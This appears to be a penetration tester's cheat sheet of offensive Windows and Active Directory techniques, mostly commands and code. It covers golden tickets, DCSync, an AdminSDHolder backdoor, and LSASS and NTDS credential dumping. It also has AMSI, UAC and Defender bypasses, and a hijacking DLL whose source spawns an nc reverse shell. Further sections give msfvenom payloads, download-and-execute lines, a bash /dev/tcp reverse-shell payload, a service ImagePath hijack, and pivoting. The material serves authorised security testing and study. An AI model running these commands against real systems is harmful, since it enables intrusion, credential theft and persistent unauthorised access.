PS > (New-Object System.Security.Principal.NTAccount("megacorp.local","krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value
S-1-5-21-2284550090-1208917427-1204316795-502

Create cross-trust golden ticket:

mimikatz # kerberos::golden /domain:child.megacorp.local /user:DC01$ /id:31337 /groups:516 /sid:S-1-5-21-4266912945-3985045794-2943778634 /sids:S-1-5-21-2284550090-1208917427-1204316795-516,S-1-5-9 /krbtgt:00ff00ff00ff00ff00ff00ff00ff00ff /ptt
Or
$ ticketer.py -nthash 00ff00ff00ff00ff00ff00ff00ff00ff -user-id 31337 -groups 516 -domain child.megacorp.local -domain-sid S-1-5-21-4266912945-3985045794-2943778634 -extra-sid S-1-5-21-2284550090-1208917427-1204316795-516,S-1-5-9 'DC01'

For DCSyncing we'll need only parent domain FQDN (megacorp.local):

PS > ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest())[0].RootDomain.Name
megacorp.local

DCSync:

mimikatz # lsadump::dcsync /user:megacorp.local\krbtgt /domain:megacorp.local

UnD + PrinterBug

Visualization (yEd)

PowerView3 > Invoke-MapDomainTrust | Export-Csv -NoTypeInformation trusts.csv
$ git clone https://github.com/HarmJ0y/TrustVisualizer
$ python -m pip install networkx --proxy http://127.0.0.1:8090
$ ./TrustVisualizer.py trusts.csv

Persistence

Golden Ticket

impacket

$ ticketer.py -nthash 00ff00ff00ff00ff00ff00ff00ff00ff -domain-sid S-1-5-21-4266912945-3985045794-2943778634 -domain megacorp.local snovvcrash
$ export KRB5CCNAME=`pwd`/snovvcrash.ccache
$ psexec.py megacorp.local/[email protected] -k -no-pass
$ secretsdump.py megacorp.local/[email protected] -dc-ip 10.10.13.37 -just-dc-user 'MEGACORP\krbtgt' -k -no-pass

AdminSDHolder Modification

Create a Backdoor

Add a new domain user or grant AdminCount to an existent domain user:

PS > net user snovvcrash Passw0rd! /domain /add
PowerView3 > Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=megacorp,DC=local" -TargetDomain megacorp.local -PrincipalIdentity snovvcrash -PrincipalDomain megacorp.local -Rights All -Verbose

Check that granting AdminCount was successfull (may take 60+ minutes):

PowerView3 > Get-DomainUser snovvcrash | select objectsid
S-1-5-21-2284550090-1208917427-1204316795-9824

PowerView3 > Get-DomainObjectAcl -Identity "CN=AdminSDHolder,CN=System,DC=megacorp,DC=local" -Domain megacorp.local -ResolveGUIDs | ? {$_.SecurityIdentifier -eq "S-1-5-21-2284550090-1208917427-1204316795-9824"}

AceType               : AccessAllowed
ObjectDN              : CN=AdminSDHolder,CN=System,DC=megacorp,DC=local
ActiveDirectoryRights : GenericAll
OpaqueLength          : 0
ObjectSID             :
InheritanceFlags      : None
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-2284550090-1208917427-1204316795-9824
AccessMask            : 983551
AuditFlags            : None
AceFlags              : None
AceQualifier          : AccessAllowed

PowerView3 > Get-DomainUser snovvcrash | select admincount,memberof

admincount memberof
---------- --------
         1 CN=Domain Admins,CN=Users,DC=megacorp,DC=local

Now you can add "snovvcrash" user to Domain Admins any time and do any stuff you want (actually adding the user to Domain Admins not even necessary, as the AdminCount is 1 anyways):

PowerView3 > Get-DomainObjectAcl -Identity "Domain Admins" -Domain megacorp.local -ResolveGUIDs | ? {$_.SecurityIdentifier -eq "S-1-5-21-2284550090-1208917427-1204316795-9824"}

AceType               : AccessAllowed
ObjectDN              : CN=Domain Admins,CN=Users,DC=megacorp,DC=local
ActiveDirectoryRights : GenericAll
OpaqueLength          : 0
ObjectSID             : S-1-5-21-2284550090-1208917427-1204316795-512
InheritanceFlags      : None
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-2284550090-1208917427-1204316795-9824
AccessMask            : 983551
AuditFlags            : None
AceFlags              : None
AceQualifier          : AccessAllowed

PS > net group "Domain Admins" snovvcrash /domain /add
...Do stuff...

PS > net group "Domain Admins" snovvcrash /domain /del

Remove the Backdoor

Disable or remove the account:

PS > net user snovvcrash /domain /active:no
PS > net user snovvcrash /domain /del

Remove user AdminSDHolder container via GUI (ADUC).

Clear the AdminCount (will be resetted if the user is still in AdminSDHolder container):

PowerView3 > Set-DomainObject -Identity testuser -Domain megacorp.local -Clear admincount -Verbose

Misc

List all domain users:

PS > Get-ADUser -Filter * -SearchBase "DC=megacorp,DC=local" | select Name,SID
Or
PS > net user /domain

List all domain groups:

PS > Get-ADGroup -Filter * -SearchBase "DC=megacorp,DC=local" | select Name,SID
Or
PS > net group /domain

List all user's groups:

PS > Get-ADPrincipalGroupMembership snovvcrash | select Name

Create new domain user:

PS > net user snovvcrash Passw0rd! /add /domain
Or
PS > New-ADUser -Name snovvcrash -SamAccountName snovvcrash -Path "CN=Users,DC=megacorp,DC=local" -AccountPassword(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Enabled $true

Create new local user and add him to local admins:

PS > net user testuser Passw0rd! /add
PS > net localgroup administrators testuser /add

List deleted AD objects (AD recycle bin):

PS > Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects
PS > Get-ADObject -LDAPFilter "(objectClass=User)" -SearchBase '<DISTINGUISHED_NAME>' -IncludeDeletedObjects -Properties * |ft

Privileges Abuse

SeBackupPrivilege

SeBackupPrivilege

wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll

upload SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
Copy-FileSeBackupPrivilege W:\Windows\NTDS\ntds.dit C:\Users\snovvcrash\Documents\ntds.dit -Overwrite
download ntds.dit

robocopy

PS > cmd /c where robocopy
PS > robocopy /B W:\Windows\NTDS\ntds.dit C:\Users\snovvcrash\Documents\ntds.dit

Remote Management

RDP

Enable RDP

Enable RDP from meterpreter:

meterpreter > run getgui -e

Enable RDP from PowerShell:

PS > Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 0
PS > Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
PS > Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Value 1

Restricted Admin

RDP with PtH: RDP needs a plaintext password unless Restricted Admin mode is enabled.

Enable Restricted Admin mode:

PS > Get-ChildItem -Recurse HKLM:\System\CurrentControlSet\Control\Lsa
PS > Get-Item HKLM:\System\CurrentControlSet\Control\Lsa
PS > New-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa -Name "DisableRestrictedAdmin" -Value 0 -PropertyType "DWORD"
PS > Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa -Name "DisableRestrictedAdmin"

NLA

Disable NLA:

PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").UserAuthenticationRequired
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)

Abusing CredSSP / TSPKG

runas

PS > runas /netonly /user:snovvcrash powershell

WinRM / PSRemoting

evil-winrm.rb

Install:

$ git clone https://github.com/Hackplayers/evil-winrm ~/tools/evil-winrm
$ cd ~/tools/evil-winrm && bundle install && cd -
$ ln -s ~/tools/evil-winrm/evil-winrm.rb /usr/local/bin/evil-winrm.rb
Or
$ gem install evil-winrm

Run:

$ evil-winrm.rb -u snovvcrash -p 'Passw0rd!' -i 127.0.0.1 -s `pwd` -e `pwd`

SMB (PsExec)

psexec.py

$ psexec.py snovvcrash:'Passw0rd!'@127.0.0.1
$ psexec.py -hashes :6bb872d8a9aee9fd6ed2265c8b486490 [email protected]

WMI

wmiexec.py

$ wmiexec.py snovvcrash:'Passw0rd!'@127.0.0.1
$ wmiexec.py -hashes :6bb872d8a9aee9fd6ed2265c8b486490 [email protected]

Dump Credentials

lsass.exe

comsvcs.dll

PS C:\Windows\System32 > Get-Process lsass
PS C:\Windows\System32 > .\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 940 C:\temp\lsass.dmp full

ProcDump

Dump and parse:

PS > .\procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp
$ pypykatz lsa minidump lsass.dmp > lsass-pypykatz.minidump
Or
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonPasswords full

Grep for secrets:

(mimikatz)
$ grep '* Username : ' lsass-mimikatz.minidump -A2 | grep -e Username -e Password -e NTLM | grep -v null | xclip -i -sel c
(pypykatz)
$ grep -P '\tusername ' lsass-pypykatz.minidump -A2 | grep -e username -e password | grep -v None | xclip -i -sel c
$ grep -P 'Username: ' lsass-pypykatz.minidump -A4 | grep -e Username -e Domain -e NT | grep -v None | xclip -i -sel c

pypykatz

NTDS

Locate diskshadow.exe:

cmd /c where /R C:\ diskshadow.exe

Create shadow volume:

powershell -c "Add-Content add_vol.txt 'set context persistent nowriters'"
powershell -c "Add-Content add_vol.txt 'set metadata C:\Windows\Temp\meta.cab'"
powershell -c "Add-Content add_vol.txt 'set verbose on'"
powershell -c "Add-Content add_vol.txt 'begin backup'"
powershell -c "Add-Content add_vol.txt 'add volume c: alias DCROOT'"
powershell -c "Add-Content add_vol.txt 'create'"
powershell -c "Add-Content add_vol.txt 'expose %DCROOT% w:'"
powershell -c "Add-Content add_vol.txt 'end backup'"
cmd /c diskshadow.exe /s add_vol.txt

// add_vol.txt
set context persistent nowriters
set metadata C:\Windows\Temp\meta.cab
set verbose on
begin backup
add volume c: alias DCROOT
create
expose %DCROOT% w:
end backup

Exfiltrate over SMB:

mkdir C:\smb_pentest
copy w:\Windows\NTDS\ntds.dit C:\smb_pentest\ntds.dit
cmd /c reg.exe save hklm\system C:\smb_pentest\system.hive
cmd /c reg.exe save hklm\sam C:\smb_pentest\sam.hive
cmd /c reg.exe save hklm\security C:\smb_pentest\security.hive
cmd /c net share pentest=c:\smb_pentest /GRANT:"Everyone,FULL"

$ smbclient.py 'snovvcrash:[email protected]'
# use pentest
# get ntds.dit
# get system.hive
# get sam.hive
# get security.hive

Delete shadow volume:

powershell -c "Add-Content delete_vol.txt 'set context persistent nowriters'"
powershell -c "Add-Content delete_vol.txt 'set metadata C:\Windows\Temp\meta.cab'"
powershell -c "Add-Content delete_vol.txt 'set verbose on'"
powershell -c "Add-Content delete_vol.txt 'unexpose w:'"
powershell -c "Add-Content delete_vol.txt 'delete shadows volume c:'"
powershell -c "Add-Content delete_vol.txt 'reset'"
cmd /c diskshadow.exe /s delete_vol.txt

// delete_vol.txt
set context persistent nowriters
set metadata C:\Windows\Temp\meta.cab
set verbose on
unexpose w:
delete shadows volume c:
reset

Clean up:

cmd /c net share pentest /delete
rm -re -fo C:\smb_pentest
rm C:\Windows\Temp\meta.cab
rm add_vol.txt
rm delete_vol.txt

Parse secrets:

$ secretsdump.py -sam sam.hive -system system.hive -security security.hive -ntds ntds.dit LOCAL

DPAPI

Master keys locations (hidden files, need -Force):

PS > ls -fo C:\Users\snovvcrash\AppData\Roaming\Microsoft\Protect\ (%appdata%\Microsoft\Protect\)
PS > ls -fo C:\Users\snovvcrash\AppData\Local\Microsoft\Protect\ (%localappdata%\Microsoft\Protect\)

Credential files locations (hidden files, need -Force):

PS > ls -fo C:\Users\snovvcrash\AppData\Roaming\Microsoft\Credentials\ (%appdata%\Microsoft\Credentials\)
PS > ls -fo C:\Users\snovvcrash\AppData\Local\Microsoft\Credentials\ (%localappdata%\Microsoft\Credentials\)

Unhide files:

PS > cmd /c "attrib -h -s 00ff00ff00ff00ff00ff00ff00ff00ff"

Obfuscate Mimikatz

NTLM

Responder Capture Structure

[SMB] NTLMv1 Hash and [SMB] NTLMv1-SSP Hash capture structure:

<Username>:<Domain>:<LMv1_Response>:<NTv1_Response>:<Server_Challenge>

[SMB] NTLMv2-SSP Hash capture structure:

<Username>:<Domain>:<Server_Challenge>:<LMv2_Response>:<NTv2_Response>

NTLM Relay

Generate relay list with cme and enumerate local admins when relaying

$ cme smb 192.168.2.0/24 --gen-relay-list out.txt
$ sudo ntlmrelayx.py -smb2support --no-http-server -tf out.txt --enum-local-admins -of net-ntlmv2

ExecutionPolicy Bypass

AMSI Bypass

Evil-WinRM + IEX

*Evil-WinRM* PS > menu
*Evil-WinRM* PS > Bypass-4MSI
*Evil-WinRM* PS > IEX([Net.Webclient]::new().DownloadString("http://127.0.0.1/PowerView.ps1"))

Memory Patching

PS > IEX(New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/snovvcrash/5c9ee38bb9a8802a674ec3d3d33b4717/raw/5c77510505f505db8ac1453c60ee6fc34a8e6d59/Bypass-AMSI.ps1')
PS > Bypass-AMSI

UAC Bypass

SystemPropertiesAdvanced.exe

srrstr.dll

#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD dwReason, LPVOID lpReserved) {
	switch(dwReason) {
		case DLL_PROCESS_ATTACH:
			WinExec("C:\\Users\\<USERNAME>\\Documents\\nc.exe 10.10.14.16 1337 -e powershell", 0);
		case DLL_PROCESS_DETACH:
			break;
		case DLL_THREAD_ATTACH:
			break;
		case DLL_THREAD_DETACH:
			break;
	}

	return 0;
}

Compile on Kali:

$ i686-w64-mingw32-g++ main.c -lws2_32 -o srrstr.dll -shared

DLL Hijacking

Upload srrstr.dll to C:\Users\%USERNAME%\AppData\Local\Microsoft\WindowsApps\srrstr.dll and check it:

PS > rundll32.exe srrstr.dll,xyz

Exec and get a shell ("requires an interactive window station"):

PS > cmd /c C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe

cmstp.exe

PS > IEX(New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/snovvcrash/362be57caaa167e7f5667156ac80f445/raw/1990959bc80b56179863aede06695bc499249744/Bypass-UAC.ps1')
PS > Bypass-UAC

Bypass-UAC

AppLocker Bypass

AV Bypass

msfvenom

$ msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 -a x86 --platform win -e x86/shikata_ga_nai -i 3 -f exe -o rev.exe
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1337 -e x86/shikata_ga_nai -i 9 -f raw | msfvenom --platform windows -a x86 -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 11 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 6 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 7 -k -f exe -o met.exe

Veil-Evasion

Hyperion + Pescramble

$ wine hyperion.exe input.exe output.exe
$ wine PEScrambler.exe -i input.exe -o output.exe

GreatSCT

Install and generate a payload:

$ git clone https://github.com/GreatSCT/GreatSCT ~/tools/GreatSCT
$ cd ~/tools/GreatSCT/setup
$ ./setup.sh
$ cd .. && ./GreatSCT.py
...generate a payload...
$ ls -la /usr/share/greatsct-output/handlers/payload.{rc,xml}

$ msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

Exec with msbuild.exe and get a shell:

PS > cmd /c C:\Windows\Microsoft.NET\framework\v4.0.30319\msbuild.exe payload.xml

Ebowla

$ git clone https://github.com/Genetic-Malware/Ebowla ~/tools/Ebowla && cd ~/tools/Ebowla
$ sudo apt install golang mingw-w64 wine python-dev -y
$ sudo python -m pip install configobj pyparsing pycrypto pyinstaller
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.13.37 LPORT=1337 --platform win -f exe -a x64 -o rev.exe
$ vi genetic.config
...Edit output_type, payload_type, clean_output, [[ENV_VAR]]...
$ python ebowla.py rev.exe genetic.config && rm rev.exe
$ ./build_x64_go.sh output/go_symmetric_rev.exe.go ebowla-rev.exe [--hidden] && rm output/go_symmetric_rev.exe.go
[+] output/ebowla-rev.exe

Invoke-Obfuscation

Out-EncryptedScript.ps1

PS > Out-EncryptedScript .\script.ps1 $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) s4lt -FilePath .\evil.ps1
PS > [string] $cmd = gc .\evil
PS > $dec = de "Passw0rd!" s4lt
PS > Invoke-Expression $dec

Tricks

Windows Defender

Disable real-time protection (proactive):

PS > Set-MpPreference -DisableRealTimeMonitoring $true

Disable scanning all downloaded files and attachments, disable AMSI (reactive):

PS > Set-MpPreference -DisableIOAVProtection $true

Remove signatures (if Internet connection is present, they will be downloaded again):

PS > "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All

Add path to exclusions:

PS > $mimi = "C:\Users\snovvcrash\music\mimi\x64\mimikatz.exe"
PS > Add-MpPreference -ExclusionPath $mimi -AttackSurfaceReductionOnlyExclusions $mimi

Download stager without triggering Defender to scan it:

PS > "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -DownloadFile -Url http://127.0.0.1/met.exe -Path C:\Users\snovvcrash\music\met.exe

Metasploit

Debug

  1. github.com/deivid-rodriguez/pry-byebug
  2. www.youtube.com/watch?v=QzP5nUEhZeg&t=2190
$ gem install pry-byebug
$ vi ~/.pry-byebug
...

if defined?(PryByebug)
  Pry.commands.alias_command 'c', 'continue'
  Pry.commands.alias_command 's', 'step'
  Pry.commands.alias_command 'n', 'next'
  Pry.commands.alias_command 'f', 'finish'
end

# Hit Enter to repeat last command
Pry::Commands.command /^$/, "repeat last command" do
  _pry_.run_command Pry.history.to_a.last
end
...
$ cp -r /usr/share/metasploit-framework/ /opt
$ vi /opt/metasploit-framework/msfconsole
...add "require 'pry-byebug'"...
$ mkdir -p ~/.msf4/modules/exploits/linux/http/
$ cp /usr/share/metasploit-framework/modules/exploits/linux/http/packageup.rb ~/.msf4/modules/exploits/linux/http/p.rb
$ vi ~/.msf4/modules/exploits/linux/http/p.rb
...add "binding.pry"...

Information Gathering

Google Dorks

site:example.com filetype:(doc | docx | docm | xls | xlsx | xlsm | ppt | pptx | pptm | pdf | rtf | odt | xml | txt)
site:example.com ext:(config | cfg | ini | log | bak | backup | dat)
site:example.com ext:(php | asp | aspx)
"@example.com" email e-mail

Autonomous Systems

via IP

dig:

$ dig $(dig -x 127.0.0.1 | grep PTR | tail -n 1 | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}').origin.asn.cymru.com TXT +short

whois:

$ whois -h whois.cymru.com -- '-v 127.0.0.1'
$ whois -h whois.radb.net 127.0.0.1

via ASN

whois:

$ whois -h whois.cymru.com -- '-v AS48666'
$ whois -h whois.radb.net AS48666

DNS

whois

IP/domain info, IP ranges:

$ whois [-h whois.example.com] example.com или 127.0.0.1

dig

General:

$ dig [@dns.example.com] example.com [{any,a,mx,ns,soa,txt,...}]
$ dig -x example.com [+short] [+timeout=1]

Zone transfer:

$ dig axfr @dns.example.com example.com

nslookup

$ nslookup example.com (или 127.0.0.1 для PTR)

$ nslookup
[> server dns.example.com]
> set q=mx
> example.com

$ nslookup
> set q=ptr
> 127.0.0.1

DNS Amplification

Check:

$ host facebook.com ns.example.com
$ dig +short @ns.example.com test.openresolver.com TXT
$ nmap -sU -p53 --script=dns-recursion ns.example.com

SMTP

Check if sender could be forged with an domain user:

$ telnet mail.example.com 25
HELO example.com
MAIL FROM: <[email protected]>
RCPT TO: <[email protected]>
RCPT TO: <[email protected]>

Check if sender could be forged with a non-domain user:

$ telnet mail.example.com 25
HELO example.com
MAIL FROM: <[email protected]>
RCPT TO: <[email protected]>
RCPT TO: <[email protected]>

Check if domain users could be enumerated with VRFY and EXPN:

$ telnet mail.example.com 25
HELO example.com
VRFY [email protected]
EXPN [email protected]

Check if users could be enumerated with RCPT TO:

$ telnet mail.example.com 25
HELO example.com
MAIL FROM: <...>
RCPT TO: <[email protected]>
DATA
From: <...>
To: <[email protected]>
Subject: Job offer
Hello, I would like to offer you a great job!
.
QUIT

IPSec

IKE

Generate list of all transform-sets:

$ for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "$ENC,$HASH,$AUTH,$GROUP" >> trans-dict.txt; done; done; done; done

Brute force supported transform-sets:

$ while read t; do (echo "[+] Valid trans-set: $t"; sudo ike-scan -M --trans=$t <IP>) |grep -B14 "1 returned handshake" |grep "Valid trans-set" |tee -a trans.txt; done < trans-dict.txt
Or (for aggressive mode)
$ while read t; do (echo "[+] Valid trans-set: $t"; sudo ike-scan -M -A -P'handshake.txt' -n FAKEID --trans=$t <IP>) |grep -B7 "SA=" |grep "Valid trans-set" |tee -a trans.txt; done < trans-dict.txt
Or
$ sudo python ikeforce.py -s1 -a <IP>  # -s1 for max speed

Get information about vendor:

$ sudo ike-scan -M --showbackoff --trans=<TRANSFORM-SET> <IP>

Test for aggressive mode ON:

$ sudo ike-scan -M -A -P -n FAKEID --trans=<TRANSFORM-SET> <IP>

If no hash value is returned then brute force is (maybe also) possible:

$ while read id; do (echo "[+] Valid ID: $id" && sudo ike-scan -M -A -n $id --trans=<TRANSFORM-SET> <IP>) | grep -B14 "1 returned handshake" | grep "Valid ID" |tee -a group-id.txt; done < dict.txt
Or
$ sudo python ikeforce.py <IP> -e -w wordlists/groupnames.dic t <TRANSFORM-SET-IN-SEPARATE-ARGS>

Dicts:
- /usr/share/seclists/Miscellaneous/ike-groupid.txt
- ~/tools/ikeforce/wordlists/groupnames.dic

Discovery

nmapAutomator

$ sudo apt install sslscan nikto joomscan wpscan smbmap enum4linux dnsrecon
$ sudo python3 -m pip install droopescan
$ sudo wget https://github.com/vulnersCom/nmap-vulners/raw/master/vulners.nse -O /usr/share/nmap/scripts/vulners.nse && nmap --script-updatedb
$ git clone https://github.com/21y4d/nmapAutomator ~/tools/nmapAutomator
$ sudo ln -s ~/tools/nmapAutomator/nmapAutomator.sh /usr/local/bin/nmapAutomator.sh

AutoRecon

$ sudo apt install seclists curl enum4linux gobuster nbtscan nikto nmap onesixtyone oscanner smbclient smbmap smtp-user-enum snmp sslscan sipvicious tnscmd10g whatweb wkhtmltopdf
$ sudo python3 -m pip install git+https://github.com/Tib3rius/AutoRecon.git

Pivoting

Chisel

  1. github.com/jpillora/chisel/releases
  2. 0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html#chisel
  3. snovvcrash.github.io/2020/03/17/htb-reddish.html#chisel-socks
  • Attacker's IP: 10.10.13.37
  • Victims's IP: 192.168.0.20

Reverse local port 1111 (on Victim) to local port 2222 (on Attacker):

$ wget [1/linux]
$ gunzip chisel*.gz && rm chisel*.gz && mv chisel* chisel && chmod +x chisel

$ wget [1/windows]
$ gunzip chisel*.exe.gz && rm chisel*.exe.gz && mv chisel*.exe chisel.exe && upx chisel.exe
$ md5sum chisel.exe

$ ./chisel server -p 8000 -v --reverse

PS > (new-object net.webclient).downloadfile("http://10.10.13.37/chisel.exe", "$env:userprofile\music\chisel.exe")
PS > get-filehash -alg md5 chisel.exe
PS > Start-Process -NoNewWindows chisel.exe client 10.10.13.37:8000 R:127.0.0.1:2222:127.0.0.1:1111

Socks5 proxy with Chisel in server mode:

bob@victim:$ ./chisel server -p 8000 --socks5 &
root@kali:$ ./chisel client 192.168.0.20:8000 socks

Socks5 proxy with Chisel in server mode when direct connection to server is not available (not relevant as Chisel supports socks5 in client mode now):

root@kali:$ ./chisel server -p 8000 --reverse
bob@victim:$ ./chisel client 10.10.13.37:8000 R:127.0.0.1:8001:127.0.0.1:8002 &
bob@victim:$ ./chisel server -v -p 8002 --socks5 &
root@kali:$ ./chisel client 127.0.0.1:8001 1080:socks

Socks5 proxy with Chisel in client mode:

root@kali:$ ./chisel server -p 8000 --reverse --socks5
bob@victim:$ ./chisel client 10.10.13.37:8000 R:socks

revsocks

root@kali:$ ./revsocks -listen :8000 -socks 127.0.0.1:1080 -pass 'Passw0rd!'
bob@victim:$ ./revsocks -connect 10.14.14.3:8000 -pass 'Passw0rd!'

TCP over RDP

xfreerdp + rdp2tcp

$ xfreerdp /u:snovvcrash /p:'Passw0rd!' /d:megacorp.local /v:PC01.megacorp.local /dynamic-resolution /drive:www,/home/snovvcrash/www +clipboard /rdp2tcp:/home/snovvcrash/tools/rdp-tunnel/rdp2tcp

Reverse local port 9002 (on Victim) to local port 9001 on Attacker (good for reverse shells):

$ python rdp2tcp.py add reverse 127.0.0.1 9001 127.0.0.1 9002

Forward local port 9001 (on Attacker) to local port 9002 on Victim (good for bind shells):

$ python rdp2tcp.py add forward 127.0.0.1 9001 127.0.0.1 9002

Reverse tunnel web access via SOCKS proxy:

$ python rdp2tcp.py add socks5 127.0.0.1 1080
$ python rdp2tcp.py add reverse 127.0.0.1 1080 127.0.0.1 9003

LPE

Linux

Recon

Find and list all files newer than 2020-03-16 and not newer than 2020-03-17:

user@vict:$ find / -type f -readable -newermt '2020-03-16' ! -newermt '2020-03-17' -ls 2>/dev/null

Find SUID binaries:

# User
find / -type f -perm /4000 -ls 2>/dev/null
# Group
find / -type f -perm /2000 -ls 2>/dev/null
# Both
find / -type f -perm /6000 -ls 2>/dev/null

Rootkits

Dirty COW

logrotate

whotwagner/logrotten:

$ curl https://github.com/whotwagner/logrotten/raw/master/logrotten.c > lr.c
$ gcc lr.c -o lr

$ cat payloadfile
if [ `id -u` -eq 0 ]; then (bash -c 'bash -i >& /dev/tcp/10.10.15.171/9001 0>&1' &); fi

$ ./lr -p ./payload -t /home/snovvcrash/backups/access.log -d

motd

/etc/update-motd.d/:

$ shellpop --reverse --number 8 -H 127.0.0.1 -P 1337 --base64
$ echo '<BASE64_SHELL>' >> 00-header
* Fire up new SSH session and catch the reverse shell

PAM MOTD:

Windows

Registry & Filesystem

PS > gc C:\Users\snovvcrash\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
PS > cmd /c dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
PS > cmd /c where /R C:\ *.ini
PS > cmd /c 'cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt'
PS > reg query HKLM /f "password" /t REG_SZ /s
PS > reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" | findstr /i "DefaultUserName DefaultDomainName DefaultPassword AltDefaultUserName AltDefaultDomainName AltDefaultPassword LastUsedUsername"
Or
PS > Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" | select DefaultPassword
PS > reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" | findstr /i proxy

SDDL

Potatoes

foxglovesec/RottenPotato

meterpreter > upload [3]
meterpreter > load incognito
meterpreter > execute -cH -f rottenpotato.exe
meterpreter > list_tokens -u
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
  1. github.com/foxglovesec/RottenPotato
  2. foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/
  3. github.com/foxglovesec/RottenPotato/blob/master/rottenpotato.exe

decoder/the-lonely-potato

ohpe/juicy-potato

Cmd > certutil -urlcache -split -f http://127.0.0.1/[3] C:\Windows\System32\spool\drivers\color\j.exe
Cmd > certutil -urlcache -split -f http://127.0.0.1/rev.bat C:\Windows\System32\spool\drivers\color\rev.bat
$ nc -lvnp 443
Cmd > j.exe -l 443 -p C:\Windows\System32\spool\drivers\color\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

;= rem rev.bat

cmd /c powershell -NoP IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/[4]')
  1. github.com/ohpe/juicy-potato
  2. ohpe.it/juicy-potato/CLSID
  3. github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
  4. github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

wuauserv

PS > Get-Acl HKLM:\SYSTEM\CurrentControlSet\services\* | format-list * | findstr /i "snovvcrash Users Path ChildName"
PS > Get-ItemProperty HKLM:\System\CurrentControlSet\services\wuauserv
PS > reg add "HKLM\System\CurrentControlSet\services\wuauserv" /t REG_EXPAND_SZ /v ImagePath /d "C:\Windows\System32\spool\drivers\color\nc.exe 10.10.14.16 1337 -e powershell" /f
PS > Start-Service wuauserv
...get reverse shell...
PS > Get-Service wuauserv
PS > Stop-Service wuauserv

Run as Another User

Cmd

runas

Cmd > runas /u:snovvcrash powershell.exe

PowerShell

PS > $cred = New-Object System.Management.Automation.PSCredential('<HOSTNAME>\<USERNAME>', $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force))
Process.Start
PS > $computer = "PC01"
PS > [System.Diagnostics.Process]::Start("C:\Windows\System32\cmd.exe", "/c ping -n 1 10.10.13.37", $cred.Username, $cred.Password, $computer)
Start-Process
PS > Start-Process -FilePath "C:\Windows\System32\cmd.exe" -ArgumentList "/c ping -n 1 10.10.13.37" -Credential $cred
Invoke-Command

With -Credential:

PS > Invoke-Command -ComputerName <HOSTNAME> -ScriptBlock { whoami } -Credential $cred

With -Session:

PS > $s = New-PSSession -ComputerName <HOSTNAME> -Credential $cred
PS > Invoke-Command -ScriptBlock { whoami } -Session $s
